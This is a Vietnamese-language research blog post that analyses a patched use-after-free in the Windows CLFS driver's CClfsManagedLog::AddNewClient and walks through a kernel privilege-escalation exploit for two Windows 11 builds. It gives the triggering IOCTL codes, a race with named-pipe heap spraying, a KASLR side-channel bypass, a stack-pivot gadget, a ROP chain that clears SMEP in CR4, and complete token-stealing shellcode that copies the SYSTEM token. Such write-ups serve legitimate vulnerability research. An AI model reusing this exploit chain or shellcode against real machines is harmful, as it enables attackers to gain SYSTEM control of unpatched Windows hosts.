
Overview#
Sau khi mình phân tích xong CVE-2025-29824, thì sau đó vài ngày là patch tuesday của Microsoft và mình vô tình thấy bài đăng này


Analysis#
Diffcheck#
Ở đây mình sẽ sử dụng win 26h1 và 23h2 để viết exploit và phân tích, trong đó chủ yếu mình sử dụng win 26h1.
Nếu diffcheck thì ta sẽ thấy duy nhất có hàm CClfsManagedLog::AddNewClient có thay đổi đáng kể


- Trước patch: init được thực thi sau đó mới addref
- Sau patch: addref thực thi trước rồi mới init
Để hiểu tại sau có vuln UAF ở đây, ta sẽ phân tích hàm CClfsManagedLog::AddNewClient.
Hàm CClfsManagedLog::AddNewClient được trace như sau: ClfsMgmtDispatchIo → ClfsMgmtUserModeRegister → ClfsMgmtpRegisterManagedClient → CClfsManagedLog::AddNewClient
Trong đó hàm ClfsMgmtUserModeRegister được handle ở các IOCTL sau:
- 0x8007B008 (IOCTL_CLFS_MGMT_REGISTER)
if ( LowPart == 0x8007B008 )
{
v10 = (__int128 *)MasterIrp;
v11 = Irp;
v12 = ClfsMgmtUserModeRegister(Irp, v10, Options, FileObject, (struct CClfsLogCcb *)FsContext2, 0);
goto LABEL_58;
}- 0x8007B010 (IOCTL_CLFS_MGMT_INSTALL_POLICY)
case 0x8007B010:
if ( Options >= 0x18 && MasterIrp )
{
if ( !*((_QWORD *)FsContext2 + 33) ) // If no client exists...
{
v12 = ClfsMgmtUserModeRegister(0, 0, 0, FileObject, (struct CClfsLogCcb *)FsContext2, 1u); // Auto-register- 0x8007B01C (IOCTL_CLFS_MGMT_SET_LOG_FILE_SIZE)
case 0x8007B01C:
if ( Options == 8 )
{
// ... buffer checks ...
else if ( *((_QWORD *)FsContext2 + 33)
|| (v12 = ClfsMgmtUserModeRegister(0, 0, 0, FileObject, (struct CClfsLogCcb *)FsContext2, 1u), v12 >= 0) ) // Auto-register if no client- 0x80077018 (IOCTL_CLFS_MGMT_QUERY_POLICY)
case 0x80077018:
if ( !*((_QWORD *)FsContext2 + 33) ) // If no client exists...
{
v12 = ClfsMgmtUserModeRegister(0, 0, 0, FileObject, (struct CClfsLogCcb *)FsContext2, 1u); // Auto-registerKhi user muốn register client để handle cho file log clfs, có thể gọi các ioctl trên.
Khi hàm ClfsMgmtUserModeRegister thực thi, nó sẽ check user input (controllable) đến từ process x32 hay x64 để đảm bảo đủ buffer size tương ứng. Nếu ok nó sẽ gọi đến ClfsMgmtpRegisterManagedClient
ClfsMgmtpRegisterManagedClient sẽ check argument và check xem nên tạo hay sử dụng lại ManagedLog object trước đó và sau đó gọi CClfsManagedLog::AddNewClient
CClfsManagedLog::AddNewClient sau đó sẽ check xem user process muốn tạo log client (trường hợp của ta) hay là kernel mode process và allocate buffer tương ứng.


Trong đó CClfsManagedLogClientUser::Initialize đại khái sẽ parse data chúng ta truyền từ usermode, tạo pool ở kernelmode và copy data ta vào (hmmm new spray object?)
CClfsManagedLog::AddNewClient vào CCB list
ClfsMgmtUserModeDeregister qua ioctl 0x8007B00C hoặc gọi CloseHandle để trigger quá trình cleanup. Nó sẽ check xem CCB list được gán kia có được init chưa, nếu rồi nó sẽ free pool client của ta.

Exploit#
Từ phân tích phía trên ta dễ dàng có bug arbitrary call. Điều kiện là ta phải race để spray. Exploit này khá tương tự với bug CVE-2025-29824 trước đó. Trong đó ta sẽ trigger RtlSetAllBit để set full quyền etoken->privilege. Nhưng exploit đó tồn tại trên win 23h2 nên quá trình leak khá dễ dàng nhưng version trên đã được microsoft dừng support (dù vẫn còn patch). Do đó ở đây ta sẽ exploit trên windows 26h1. Ý tưởng của mình là thực hiện stack pivot để ropchain
KASLR bypass#
Mình sẽ sử dụng kỹ thuật prefetch side channel để leak base. Kỹ thuật này ban đầu được build ở linux sau đó được port sang windows


Control RIP#
Sau khi có leak, ý tưởng tiếp theo của ta là trigger uaf sau đó spray để malloc lại chunk vuln với data ta control. Từ đó nó sẽ arbitrary call địa chỉ ta muốn theo phân tích trên. Ý tưởng trigger cũng như ở CVE cũ, trong đó mình sẽ tạo 2 thread
- Thread 1: sẽ call IOCTL_CLFS_MGMT_REGISTER
- Thread 2: sẽ call CloseHandle để trigger UAF, sau đó sẽ spray thông qua name pipe
Trong đó mình sài CloseHandle vì nó được handle ở một path ioctl khác, còn nếu trigger thông qua ioctl 0x8007B00C thì nó sẽ vào path ClfsMgmtDispatchIo, và path này sẽ đợi resource release mới chạy dẫn đến không trigger được UAF
Sau khi mình implement ý tưởng trên thì ta đã có crash đầu tiên (ảnh từ win 23H2)


NtFsControlFile để spray. Ưu điểm của nó là ta có thể control được 0x30 byte đầu

Stack pivot#
Nếu ta exploit trên version <=23H2, đến bước này ta có thể gọi RtlSetAllBit vào eprocess.token để leo quyền. Tuy nhiên nếu exploit trên version cao hơn, ta không có được địa chỉ của token. Do đó ở đây ta sẽ sử dụng stack pivot
Ở đây mình sử dụng tool này để tìm ROP gadget
Mình tìm được gadget sau:
042d478: mov esp, 0x8b00af90; add al, 0x88; ret;Ta chỉ cần malloc địa chỉ 0x8b00af90 và ghi rop chain vào đó
Nếu mình set breakpoint ở gadget trên thì sẽ stop ngay đó thành công, tuy nhiên nếu ta step tiếp thì sẽ bị lỗi sau

KiInterruptSubDispatchNoLockNoEtw

0x0000000000b50ef8 là giá trị cr4 hiện tại. Sau khi clear xong ta đã return được vào shellcode ở usermode
ptr[i++] = popRcx;
ptr[i++] = 0x0000000000b50ef8 ^ 1UL << 20;
ptr[i++] = movCr4Rcx;
ptr[i++] = (ll) shellcode; Trong đó shellcode đã được execute thành công
start:
mov rax, [gs:0x188] ; KPCRB.CurrentThread (_KTHREAD)
mov rax, [rax + 0xb8] ; APCState.Process (current _EPROCESS)
mov r8, rax ; Store current _EPROCESS ptr in RBX
loop:
mov r8, [r8 + 0x448] ; ActiveProcessLinks
sub r8, 0x448 ; Go back to start of _EPROCESS
mov r9, [r8 + 0x440] ; UniqueProcessId (PID)
cmp r9, 4 ; SYSTEM PID?
jnz loop ; Loop until PID == 4
replace:
mov rcx, [r8 + 0x4b8] ; Get SYSTEM token
and cl, 0xf0 ; Clear low 4 bits of _EX_FAST_REF structure
mov [rax + 0x4b8], rcx ; Copy SYSTEM token to current process
cleanup:
mov rax, [gs:0x188] ; _KPCR.Prcb.CurrentThread
mov word ptr [rax + 0x1e4], 0 ; KTHREAD.KernelApcDisable
mov rdx, [rax + 0x90] ; ETHREAD.TrapFrame
mov rcx, GET_SHELL_ADDR ; Target RIP
mov r11, [rdx + 0x178] ; ETHREAD.TrapFrame.EFlags
mov rsp, [rdx + 0x180] ; ETHREAD.TrapFrame.Rsp
mov rbp, [rdx + 0x158] ; ETHREAD.TrapFrame.Rbp
xor eax, eax ;
swapgs
o64 sysret Shellcode trên khá tương tự với kỹ thuật ret2usr trên linux. Trong đó ở đây, nó sẽ copy token của process pid=4 (System process) vào current process sau đó return về usermode bằng cách setup swapgs và sysret. Điều này lợi dụng khi kernel return về usermode khi call bằng syscall, nó sẽ gọi KiKernelSysretExit.

KiKernelSysretExit sẽ bị tripple fault do hàm này lần nữa lại thay đổi esp
Đến đây là ta có thể leo quyền thành công

Quá trình exploit ta để ý sẽ thấy có thể đọc được value ở usermode do Microsoft chưa support SMAP do compatibility issues
III. Conclusion#
Exploit được test trên:
- win 11 23H2 22631.6783
- win 11 26H2 28000.1764
Trong đó exploit được hardcode các offset để phù hợp với các version trên Ngoài ra quá trình race cho thấy tỉ lệ trigger được shell khá thấp do race window khá ngắn.
IV. References#
- https://vuln.dev/windows-kernel-exploitation-hevd-x64-stackoverflow/
- https://vuln.dev/windows-kernel-exploitation-hevd-x64-type-confusion/
- https://kristal-g.github.io/2021/05/08/SYSRET_Shellcode.html
- https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/blob/master/readme.md
- https://github.com/microsoft/MSRC-Security-Research/blob/master/papers/2020/Evaluating%20the%20feasibility%20of%20enabling%20SMAP%20for%20the%20Windows%20kernel.pdf
- https://github.com/exploits-forsale/prefetch-tool
